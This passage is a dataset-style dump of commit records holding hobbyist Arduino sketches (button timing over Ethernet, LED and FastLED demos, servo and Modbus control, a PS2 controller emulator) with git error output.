pinhardstate[i] = 1;\n pinsoftstate[i] = 1;\n pintime[i] = millis();\n }\n else \n if (state==HIGH && pinhardstate[i]==1) \/\/ ...button up\n {\n \/\/\n pinhardstate[i] = 0;\n pintime[i] = millis() - pintime[i];\n }\n }\n}\n\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() \n{ \n \/\/ initialize the digital pin as an output.\n \/\/pinMode(led, OUTPUT);\n\n \/\/ initialise to internal 20Mom rezister\n for (int i = 0; i < pinc; i++)\n {\n \/\/\n pinMode(pins[i], INPUT); \n digitalWrite(pins[i], HIGH);\n }\n\n \/\/\n Timer1.initialize(2000); \/\/ 500Hz \/\/ set a timer of length 100000 microseconds (or 0.1 sec - or 10Hz => the led will blink 5 times, 5 cycles of on-and-off, per second)\n Timer1.attachInterrupt( timerIsr );\n\n \/\/Start up the serial port\n \/\/Serial.begin(9600);\n \n \/\/\n Ethernet.begin(mac, ip, netdns, gateway, mask);\n server.begin();\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() \n{\n\/\/ \n \/\/int ledstate = 0;\n for (int i = 0; i < pinc; i++)\n {\n \/\/\n \/\/if (pinsoftstate[i]==1) ledstate = 1;\n \/\/\u0430\u043d\u0430\u043b\u0438\u0437 pinsoftstate? \u0431\u0435\u0437 pinreport? \u0433\u0434\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0442\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u0443?\n if (pinhardstate[i] == 1 && pinsoftstate[i]==1 && pinreport[i]==0)\n {\n \/\/\n if (pinreport[i]==0)\n {\n \/\/\n \/\/Serial.println();\n \/\/Serial.print(\"pin down[\"); Serial.print(i, DEC); Serial.print(\"]\");\n server.println();\n server.print(\"pin down[\"); server.print(i, DEC); server.print(\"]\");\n \n pinreport[i] = 1;\n }\n }\n else\n if (pinhardstate[i] == 0 && pinsoftstate[i]==1 && pinreport[i]==1)\n {\n \/\/\n \/\/Serial.println();\n \/\/Serial.print(\"pintime[\"); Serial.print(i, DEC); Serial.print(\"]=\");\n \/\/Serial.println(pintime[i], DEC);\n server.println();\n server.print(\"pintime[\"); server.print(i, DEC); server.print(\"]=\"); server.print(pintime[i], DEC);\n \n pinsoftstate[i] = 0;\n pinreport[i] = 0;\n \/\/digitalWrite(led, HIGH); delay(200); digitalWrite(led, LOW); delay(200);\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'buttons.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"e4c83ed7082a7fb63f5a760b99186159903d5712","subject":"Blinking led from one sensor works","message":"Blinking led from one sensor works\n","repos":"NorbotNorway\/FolkraceTeensy,Scalpel78\/FolkraceTeensy","old_file":"folkraceteensy\/folkraceteensy.ino","new_file":"folkraceteensy\/folkraceteensy.ino","new_contents":"int frontSensorPin = 14;\nint ledPin = 13;\nint frontSensorValue = 0;\n\nvoid setup() {\n pinMode(frontSensorPin, INPUT);\n pinMode(ledPin, OUTPUT);\n\n Serial.begin(9600);\n}\n\nvoid loop() {\n frontSensorValue = analogRead(frontSensorPin);\n\n if (frontSensorValue > 512)\n digitalWrite(ledPin, HIGH);\n else\n digitalWrite(ledPin, LOW);\n\n Serial.println(frontSensorValue);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'folkraceteensy\/folkraceteensy.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"68a36da0c8ffbbed50186411b2b15b9f2014ec7a","subject":"Create print_HSV_values.ino","message":"Create print_HSV_values.ino","repos":"marmilicious\/FastLED_examples","old_file":"print_HSV_values.ino","new_file":"print_HSV_values.ino","new_contents":"\/\/***************************************************************\n\/\/ Print out HSV values to serial monitor example...\n\/\/\n\/\/ Marc Miller, July 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GBR\n#define NUM_LEDS 32\n\n#define BRIGHTNESS 50\nCRGB leds[NUM_LEDS];\nCHSV hsv[NUM_LEDS];\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ startup delay for recovery\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLOCK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n EVERY_N_SECONDS( 5 ) {\n\n for (uint8_t i=0; i < NUM_LEDS; i++) {\n hsv[i].h = random8();\n hsv[i].s = random8(200,256);\n hsv[i].v = random8(64,85);\n leds[i] = CHSV(hsv[i].h, hsv[i].s, hsv[i].v);\n\n Serial.print(\"HSV[\"); Serial.print(i);\n Serial.print(\"]: \"); Serial.print(hsv[i].h);\n Serial.print(\" \"); Serial.print(hsv[i].s);\n Serial.print(\" \"); Serial.println(hsv[i].v);\n }\n \n FastLED.show(); \n\n }\/\/end_EVERY_N\n\n}\/\/end_main_loop\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'print_HSV_values.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ac1cacf715293eae4190238bf8a58c0aab60841c","subject":"add servo controller","message":"add servo controller\n","repos":"Urucas\/real-orientation","old_file":"real-orientation.ino","new_file":"real-orientation.ino","new_contents":"Servo myservo;\nint pos = 0;\n\nvoid setup()\n{\n myservo.attach(D0);\n Spark.function(\"servo\", updateServo);\n}\n\nvoid loop()\n{\n \/\/ do nothing\n}\n\n\/\/this function automagically gets called upon a matching POST request\nint updateServo(String command)\n{\n uint8_t pos = command.toInt();\n if(pos <= 180) {\n myservo.write(pos);\n return 200;\n }\n else {\n return -1;\n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'real-orientation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41e7a5a26e4b04e6c072da5bdfb1d7da837a6ec4","subject":"Create color_temperature_demo.ino","message":"Create color_temperature_demo.ino","repos":"marmilicious\/FastLED_examples","old_file":"color_temperature_demo.ino","new_file":"color_temperature_demo.ino","new_contents":"\/\/***************************************************************\n\/\/ Demo to show all the predefined FastLED color temperatures.\n\/\/ Fills the LED strip with white and then cycles through the temperatures.\n\/\/\n\/\/ Marc Miller, Aug 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\n#define BRIGHTNESS 255\nCRGB leds[NUM_LEDS];\n\n#define DISPLAYTIME 4 \/\/number of SECONDS to show each color temperature\n#define BLACKOUTTIME 100 \/\/number of MILLISECONDS to blackout between tempatures\nuint8_t temp; \/\/current tempature_# being displayed\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay( 1500 ); \/\/ power-up safety delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection( TypicalSMD5050 );\n FastLED.setBrightness( BRIGHTNESS );\n FastLED.clear();\n}\n\n\/\/---------------------------------------------------------------\n\/\/All the predefined FastLED color temperatures:\n#define TEMPERATURE_0 UncorrectedTemperature\n#define TEMPERATURE_1 Candle\n#define TEMPERATURE_2 Tungsten40W\n#define TEMPERATURE_3 Tungsten100W\n#define TEMPERATURE_4 Halogen\n#define TEMPERATURE_5 CarbonArc\n#define TEMPERATURE_6 HighNoonSun\n#define TEMPERATURE_7 DirectSunlight\n#define TEMPERATURE_8 OvercastSky\n#define TEMPERATURE_9 ClearBlueSky\n#define TEMPERATURE_10 WarmFluorescent\n#define TEMPERATURE_11 StandardFluorescent\n#define TEMPERATURE_12 CoolWhiteFluorescent\n#define TEMPERATURE_13 FullSpectrumFluorescent\n#define TEMPERATURE_14 GrowLightFluorescent\n#define TEMPERATURE_15 BlackLightFluorescent\n#define TEMPERATURE_16 MercuryVapor\n#define TEMPERATURE_17 SodiumVapor\n#define TEMPERATURE_18 MetalHalide\n#define TEMPERATURE_19 HighPressureSodium\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n switch (temp) {\n case 0:\n FastLED.setTemperature( TEMPERATURE_0 ); break;\n case 1:\n FastLED.setTemperature( TEMPERATURE_1 ); break;\n case 2:\n FastLED.setTemperature( TEMPERATURE_2 ); break;\n case 3:\n FastLED.setTemperature( TEMPERATURE_3 ); break;\n case 4:\n FastLED.setTemperature( TEMPERATURE_4 ); break;\n case 5:\n FastLED.setTemperature( TEMPERATURE_5 ); break;\n case 6:\n FastLED.setTemperature( TEMPERATURE_6 ); break;\n case 7:\n FastLED.setTemperature( TEMPERATURE_7 ); break;\n case 8:\n FastLED.setTemperature( TEMPERATURE_8 ); break;\n case 9:\n FastLED.setTemperature( TEMPERATURE_9 ); break;\n case 10:\n FastLED.setTemperature( TEMPERATURE_10 ); break;\n case 11:\n FastLED.setTemperature( TEMPERATURE_11 ); break;\n case 12:\n FastLED.setTemperature( TEMPERATURE_12 ); break;\n case 13:\n FastLED.setTemperature( TEMPERATURE_13 ); break;\n case 14:\n FastLED.setTemperature( TEMPERATURE_14 ); break;\n case 15:\n FastLED.setTemperature( TEMPERATURE_15 ); break;\n case 16:\n FastLED.setTemperature( TEMPERATURE_16 ); break;\n case 17:\n FastLED.setTemperature( TEMPERATURE_17 ); break;\n case 18:\n FastLED.setTemperature( TEMPERATURE_18 ); break;\n case 19:\n FastLED.setTemperature( TEMPERATURE_19 ); break;\n }\n\n fill_solid(leds, NUM_LEDS, CRGB(255,255,255) ); \/\/fill with white\n if (temp==0) { leds[0]=CRGB::Red; leds[1]=CRGB::Green; leds[2]=CRGB::Blue; }\n\n FastLED.show(); \/\/display pixels\n\n EVERY_N_SECONDS(DISPLAYTIME) {\n FastLED.clear();\n FastLED.show();\n delay(BLACKOUTTIME);\n temp++;\n if (temp == 20) { temp = 0; } \/\/reset\n Serial.print(\"Current temperature: \"); Serial.println(temp); \/\/print temp # to serial monitor\n }\n\n}\/\/end_main_loop\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'color_temperature_demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c144de84a7e2f4d761e22641ca4988f496a842d","subject":"Create main.ino","message":"Create main.ino","repos":"edwinfinch\/culminating,edwinfinch\/culminating","old_file":"spark\/main.ino","new_file":"spark\/main.ino","new_contents":"#include <math.h>\n#define LED_CS 6\n#define SWITCH_CS D0\n#define LEFT_LED D0\n#define RIGHT_LED D1\n#define THERMISTOR_CS A7\n#define PHOTOCELL A6\n#define PIEZO A5\n\nServo rightServo, leftServo;\nint temperature = 0, photocell = 0, runs = 0;\n\nint move(String command){\n analogWrite(PIEZO, 120);\n switch(command.toInt()){\n case 0:\n \/\/Deinit\n rightServo.write(90);\n leftServo.write(90);\n break;\n case 1:\n \/\/Up\n rightServo.write(0);\n leftServo.write(180);\n break;\n case 2:\n \/\/Down\n rightServo.write(180);\n leftServo.write(0);\n break;\n case 3:\n \/\/Right\n rightServo.write(180);\n leftServo.write(180);\n break;\n case 4:\n \/\/Left\n rightServo.write(0);\n leftServo.write(0);\n break;\n default:\n return 400;\n }\n return 200;\n}\n\nint led_control(String command){\n analogWrite(PIEZO, 120);\n switch(command.toInt()){\n case 0:\n digitalWrite(LEFT_LED, 1);\n digitalWrite(RIGHT_LED, 1);\n break;\n case 1:\n digitalWrite(LEFT_LED, 0);\n digitalWrite(RIGHT_LED, 0);\n break;\n case 11:\n digitalWrite(LEFT_LED, 1);\n digitalWrite(RIGHT_LED, 0);\n break;\n case 12:\n digitalWrite(LEFT_LED, 0);\n digitalWrite(RIGHT_LED, 1);\n break;\n default:\n return 400;\n }\n return 200;\n}\n\nvoid setup() { \n leftServo.attach(A0);\n rightServo.attach(A1);\n \n Spark.function(\"MOVE\", move);\n Spark.function(\"LED_CONTROL\", led_control);\n \n Spark.variable(\"temperature\", &temperature, INT);\n Spark.variable(\"light\", &photocell, INT);\n Spark.variable(\"runs\", &runs, INT);\n\n pinMode(LED_CS, OUTPUT);\n pinMode(THERMISTOR_CS, INPUT);\n pinMode(PHOTOCELL, INPUT);\n pinMode(RIGHT_LED, OUTPUT);\n pinMode(LEFT_LED, OUTPUT);\n pinMode(PIEZO, OUTPUT);\n \n for(int i = 0; i < 21; i++){\n digitalWrite(RIGHT_LED, (i % 2 == 0));\n digitalWrite(LEFT_LED, (i % 2 == 0));\n delay(200-(i*10));\n }\n}\n\n\nvoid loop() { \n runs++;\n delay(100);\n temperature = analogRead(THERMISTOR_CS);\n photocell = analogRead(PHOTOCELL);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e8891d8655befd9bb8b768bbdc1821dbcce8ea35","subject":"\tmodified: sources\/sketchs\/moniteur\/moniteur.ino","message":"\tmodified: sources\/sketchs\/moniteur\/moniteur.ino\n","repos":"emeric254\/autoArduino,emeric254\/autoArduino","old_file":"sources\/sketchs\/moniteur\/moniteur.ino","new_file":"sources\/sketchs\/moniteur\/moniteur.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/emeric254\/autoArduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"236ed0f842ee92fbee96d6eb36566b4fe7f4a9d4","subject":"Moved the command write out of the individual states","message":"Moved the command write out of the individual states\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/basicDriveCode\/basicDriveCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22b1fe6d5a283dfdf0122c309f2713a48fd51e10","subject":"Create RS485_UnoR3_Slave_only_LED.ino","message":"Create RS485_UnoR3_Slave_only_LED.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"rs485\/RS485_UnoR3_Slave_only_LED.ino","new_file":"rs485\/RS485_UnoR3_Slave_only_LED.ino","new_contents":"#include <SimpleModbusSlave.h>\n\n#define LED 8 \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ registers of your slave \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nenum \n{\n ADC_VAL, \n PWM_VAL, \n HOLDING_REGS_SIZE\n};\n\nunsigned int holdingRegs[HOLDING_REGS_SIZE]; \/\/ function 3 and 16 register array\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup()\n{\n modbus_configure(&Serial, 9600, SERIAL_8N2, 1, 2, HOLDING_REGS_SIZE, holdingRegs);\n modbus_update_comms(9600, SERIAL_8N2, 1);\n \n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{\n\n modbus_update();\n \/\/ holdingRegs[ADC_VAL] = analogRead(A0);\n \n digitalWrite(LED, HIGH);\n delay(holdingRegs[PWM_VAL]);\n digitalWrite(LED, LOW);\n delay(holdingRegs[PWM_VAL]);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rs485\/RS485_UnoR3_Slave_only_LED.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c6d11c507c16f3ccea526881fdbad82dfb715300","subject":"add code necessary to add to interface program for radio","message":"add code necessary to add to interface program for radio\n","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs","old_file":"software\/interface\/radio.ino","new_file":"software\/interface\/radio.ino","new_contents":"#include <cc1101.h>\n\n#include <constants.h>\n\n\/\/ data transfer values\nradio_t radio_data;\ninterface_t interface_data;\ntarget_t target_data;\n\nint cadence = 0;\nint gear = 1;\n\nvoid setup() {\n \/\/ initialize radio\n Radio.Init();\n Radio.SetDataRate(4);\n Radio.SetLogicalChannel(1);\n Radio.RxOn();\n}\n\nvoid loop() {\n \/\/ receive potential radio data\n if (Radio.CheckReceiveFlag()) {\n Radio.ReceiveData((byte *)&radio_data);\n\n if (radio_data.header == INTERFACE_HEADER) {\n interface_data = radio_data.interface;\n\n cadence = interface_data.cadence;\n gear = interface_data.gear;\n }\n\n Radio.RxOn();\n }\n}\n\nvoid send_up() {\n target_data.up = 1;\n target_data.down = 0;\n target_data.set = 0;\n radio_data.header = INTERFACE_HEADER;\n radio_data.target = target_data;\n\n Radio.SendData((byte *)&radio_data, sizeof(radio_data));\n Radio.RxOn();\n}\n\nvoid send_down() {\n target_data.up = 0;\n target_data.down = 1;\n target_data.set = 0;\n radio_data.header = INTERFACE_HEADER;\n radio_data.target = target_data;\n\n Radio.SendData((byte *)&radio_data, sizeof(radio_data));\n Radio.RxOn();\n}\n\nvoid send_set() {\n target_data.up = 0;\n target_data.down = 0;\n target_data.set = 1;\n radio_data.header = INTERFACE_HEADER;\n radio_data.target = target_data;\n\n Radio.SendData((byte *)&radio_data, sizeof(radio_data));\n Radio.RxOn();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/interface\/radio.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fe305d1d9602e53962f4bf6b1f6e0718d7a20761","subject":"Arduino serial communication with Processing and the NY Times API","message":"Arduino serial communication with Processing and the NY Times API\n","repos":"rvill\/InternetOfThings","old_file":"nytimes_ff_arduino_serial\/nytimes_ff_arduino_serial.ino","new_file":"nytimes_ff_arduino_serial\/nytimes_ff_arduino_serial.ino","new_contents":"char val;\n\nint arrayIndex0_pin = 12;\nint arrayIndex1_pin = 10;\nint arrayIndex2_pin = 8;\n\nvoid setup(){\n pinMode(arrayIndex0_pin, OUTPUT); \n pinMode(arrayIndex1_pin, OUTPUT); \n pinMode(arrayIndex2_pin, OUTPUT); \n Serial.begin(9600);\n}\n\nvoid loop(){\n if(Serial.available()){\n val= Serial.read();\n \/\/Serial.print(val);\n } \n if (val == 'A'){\n digitalWrite(arrayIndex0_pin, HIGH);\n \/\/ Serial.println(val);\n } else {\n digitalWrite(arrayIndex0_pin, LOW); \n }\n \n if (val == 'B'){\n digitalWrite(arrayIndex1_pin, HIGH);\n \/\/ Serial.println(val);\n } else {\n digitalWrite(arrayIndex1_pin, LOW); \n }\n \n if (val == 'C'){\n digitalWrite(arrayIndex2_pin, HIGH);\n \/\/ Serial.println(val);\n } else {\n digitalWrite(arrayIndex2_pin, LOW); \n }\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'nytimes_ff_arduino_serial\/nytimes_ff_arduino_serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3d67786ec139dd1b61a9adfa054371884c2fac82","subject":"Delete Sensor.ino","message":"Delete Sensor.ino","repos":"matthewpruett\/ece2881","old_file":"Sensor.ino","new_file":"Sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/matthewpruett\/ece2881.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"53d3c85e9fdab1265a3a5d035024ea16b61f04b6","subject":"anavi-blinking-led.ino: Blinking LED","message":"anavi-blinking-led.ino: Blinking LED\n\nSuper simple Arduino sketch with a blinking LED\n(D1) on ANAVI Light Controller.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"anavi-light-controller\/anavi-blinking-led\/anavi-blinking-led.ino","new_file":"anavi-light-controller\/anavi-blinking-led\/anavi-blinking-led.ino","new_contents":"#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/ Configure pins\nconst int pinAlarm = 16;\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println();\n \n \/\/LED\n pinMode(pinAlarm, OUTPUT);\n \n Serial.println(\"Blinking LED demo on ANAVI Light Controller\");\n}\n\nvoid loop() {\n \/\/ Blinking LED\n while(true)\n {\n digitalWrite(pinAlarm, HIGH);\n delay(100);\n digitalWrite(pinAlarm, LOW);\n delay(100);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'anavi-light-controller\/anavi-blinking-led\/anavi-blinking-led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"91c13b873620e3dbbd96e6b4d5a2af6db3dfacae","subject":"Initial Commit","message":"Initial Commit\n\nUploaded PS2 Arduino controller code\r\nSchematics soon\u2122","repos":"WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff","old_file":"ps2_controller\/ps2_controller.ino","new_file":"ps2_controller\/ps2_controller.ino","new_contents":"#define axisLx 2\n#define axisLy 3\n#define axisRy 4\n#define axisRx 5\n#define buttonDDown 6\n#define buttonDLeft 7\n\n#define buttonL1 8\n#define buttonL2 9\n#define buttonSelect 10\n#define buttonAnalog 11\n#define buttonStart 12\n#define buttonR1 13\n\n#define buttonDUp 22\n#define buttonDRight 23\n#define buttonSquare 24\n#define buttonR2 25\n#define buttonTriangle 26\n#define buttonCircle 27\n\n#define buttonCross 28\n#define buttonR3 29\n#define buttonL3 30\n\n#define leftMotor A0\n#define rightMotor A1\n#define analogLed A2\n\n#define attentionPin A3\n\nboolean isInputting = false;\nboolean isInputtingDelayed = false;\nboolean sentPing = false;\nboolean sentPong = false;\nboolean isConnected = false;\n\nunsigned long inputDelay = 0;\nunsigned long previousInputDelay = 0;\nunsigned long currentMillis = 0;\n\nunsigned long pingTimeOut = 0;\nunsigned long pongTimeOut = 0;\nunsigned long pingTimeIn = 0;\nunsigned long pongTimeIn = 0;\nunsigned long pingDelay = 1000;\nunsigned long pongDelay = 1000;\nunsigned long previousCalc = 0;\nunsigned long calcDelay = 1000;\nunsigned long previousPingDelay = 0;\nunsigned long previousPongDelay = 0;\nunsigned long lastPingIn = 0;\nunsigned long lastPongIn = 0;\nunsigned long lastPingOut = 0;\nunsigned long lastPongOut = 0;\nunsigned long calcPingTimestampIn = 0;\nunsigned long calcPongTimestampIn = 0;\nunsigned long calcPingTimestampOut = 0;\nunsigned long calcPongTimestampOut = 0;\n\nunsigned int leftMotorVal = 0;\nunsigned int rightMotorVal = 0;\nunsigned int analogLedVal = 0;\n\nunsigned int attentionLevel = 0;\nunsigned int previousAttentionLevel = 0;\nunsigned long attentionLevelLow = 0;\nunsigned long attentionLevelHigh = 0;\nunsigned long previousAttentionLevelHigh = 0;\nunsigned long previousAttentionLevelLow = 0;\n\nunsigned int leftMotorLevel = 0;\nunsigned int previousLeftMotorLevel = 0;\nunsigned long leftMotorLevelLow = 0;\nunsigned long leftMotorLevelHigh = 0;\nunsigned long previousLeftMotorLevelHigh = 0;\nunsigned long previousLeftMotorLevelLow = 0;\n\nunsigned int rightMotorLevel = 0;\nunsigned int previousRightMotorLevel = 0;\nunsigned long rightMotorLevelLow = 0;\nunsigned long rightMotorLevelHigh = 0;\nunsigned long previousRightMotorLevelHigh = 0;\nunsigned long previousRightMotorLevelLow = 0;\n\nunsigned int analogLedLevel = 0;\nunsigned int previousAnalogLedLevel = 0;\nunsigned long analogLedLevelLow = 0;\nunsigned long analogLedLevelHigh = 0;\nunsigned long previousAnalogLedLevelHigh = 0;\nunsigned long previousAnalogLedLevelLow = 0;\n\nunsigned long resetCalled = 0;\nunsigned long resetDone = 0;\n\nunsigned long disconnectCalled = 0;\nunsigned long disconnectDone = 0;\n\nunsigned long baudRate = 115200;\n\nbyte serial_rx_buffer[12];\nbyte serial_rx_buffer_inverted[12];\nbyte serial_rx_buffer_controller[12];\nbyte serial_rx_buffer_ping_in[12];\nbyte serial_rx_buffer_ping_out[12];\nbyte serial_rx_buffer_pong_in[12];\nbyte serial_rx_buffer_pong_out[12];\nbyte serial_rx_buffer_motor[12];\nbyte serial_rx_buffer_reset[12];\nbyte serial_rx_buffer_disconnect[12];\nbyte serial_rx_buffer_inverted_controller[12];\nunsigned long serial_rx_buffer_counter = 0;\nunsigned long controller = 0;\n\n\/\/ The array below is an array of all buttons in the order the bytes have to be sent\nunsigned int commandArray[] = {buttonSelect, buttonL3, buttonR3, buttonStart, buttonDUp, buttonDRight, buttonDDown, buttonDLeft, buttonL2, buttonR2, buttonL1, buttonR1, buttonTriangle, buttonCircle, buttonCross, buttonSquare, axisRx, axisRy, axisLx, axisLy, buttonAnalog};\nunsigned int motorArray[] = {leftMotor, rightMotor, analogLed};\n\nvoid setup() {\n currentMillis = millis();\n Serial.begin(baudRate);\n isConnected = true;\n \/\/Serial.println(\"START OF SETUP\");\n\n \/\/ Define buttons and axis to neutral state on startup\n pinMode(axisLx, OUTPUT);\n pinMode(axisLy, OUTPUT);\n pinMode(axisRy, OUTPUT);\n pinMode(axisRx, OUTPUT);\n pinMode(buttonDDown, OUTPUT);\n pinMode(buttonDLeft, OUTPUT);\n\n pinMode(buttonL1, OUTPUT);\n pinMode(buttonL2, OUTPUT);\n pinMode(buttonSelect, OUTPUT);\n pinMode(buttonAnalog, OUTPUT);\n pinMode(buttonStart, OUTPUT);\n pinMode(buttonR1, OUTPUT);\n\n pinMode(buttonDUp, OUTPUT);\n pinMode(buttonDRight, OUTPUT);\n pinMode(buttonSquare, OUTPUT);\n pinMode(buttonR2, OUTPUT);\n pinMode(buttonTriangle, OUTPUT);\n pinMode(buttonCircle, OUTPUT);\n\n pinMode(buttonCross, OUTPUT);\n pinMode(buttonR3, OUTPUT);\n pinMode(buttonL3, OUTPUT);\n\n pinMode(leftMotor, INPUT);\n pinMode(rightMotor, INPUT);\n pinMode(analogLed, INPUT);\n\n digitalWrite(buttonSelect, HIGH);\n digitalWrite(buttonL3, HIGH);\n digitalWrite(buttonR3, HIGH);\n digitalWrite(buttonStart, HIGH);\n digitalWrite(buttonDUp, HIGH);\n digitalWrite(buttonDRight, HIGH);\n digitalWrite(buttonDDown, HIGH);\n digitalWrite(buttonDLeft, HIGH);\n\n digitalWrite(buttonL2, HIGH);\n digitalWrite(buttonR2, HIGH);\n digitalWrite(buttonL1, HIGH);\n digitalWrite(buttonR1, HIGH);\n digitalWrite(buttonTriangle, HIGH);\n digitalWrite(buttonCircle, HIGH);\n digitalWrite(buttonCross, HIGH);\n digitalWrite(buttonSquare, HIGH);\n\n analogWrite(axisRx, 128);\n analogWrite(axisRy, 128);\n analogWrite(axisLx, 128);\n analogWrite(axisLy, 128);\n\n digitalWrite(buttonAnalog, HIGH);\n\n \/\/ Define Input pins for motors and analog LED\n pinMode(leftMotor, INPUT);\n pinMode(rightMotor, INPUT);\n pinMode(analogLed, INPUT);\n\n pinMode(attentionPin, INPUT);\n\n \/\/ Prepare data to sent on startup as a way to tell the controller is in Neutral position\n \/\/ That means, when all buttons and analog sticks are reset to their Neutral positions\n serial_rx_buffer_controller[0] = 0x01; \/\/ Preamble\n serial_rx_buffer_controller[1] = 0x00; \/\/ SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT\n serial_rx_buffer_controller[2] = 0x00; \/\/ L2, R2, L1, R1, Triangle\/Delta, Circle\/O, Cross\/X, Square\n serial_rx_buffer_controller[3] = 0x7F; \/\/ RX\n serial_rx_buffer_controller[4] = 0x7F; \/\/ RY\n serial_rx_buffer_controller[5] = 0x7F; \/\/ LX\n serial_rx_buffer_controller[6] = 0x7F; \/\/ LY\n serial_rx_buffer_controller[7] = 0x00; \/\/ Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7 \/\/ All other bits in this Buffer Array Element are unused\n serial_rx_buffer_controller[8] = 0x00; \/\/ Unused\n serial_rx_buffer_controller[9] = 0x00; \/\/ Delay Byte 2\n serial_rx_buffer_controller[10] = 0x00; \/\/ Delay Byte 1\n serial_rx_buffer_controller[11] = 0x01; \/\/ Postamble\n\n \/\/ Count bytes and parse ASCII values to their respective commands, such as buttons and axis\n for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {\n Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values\n serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = (255 - serial_rx_buffer_controller[serial_rx_buffer_counter]); \/\/ Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values\n }\n Serial.flush();\n \/\/ Now we send PING to the computer as a way to tell we are connected and ready to receive and send data through the serial port\n \/\/ This will be executed whenever the computer starts serial through the 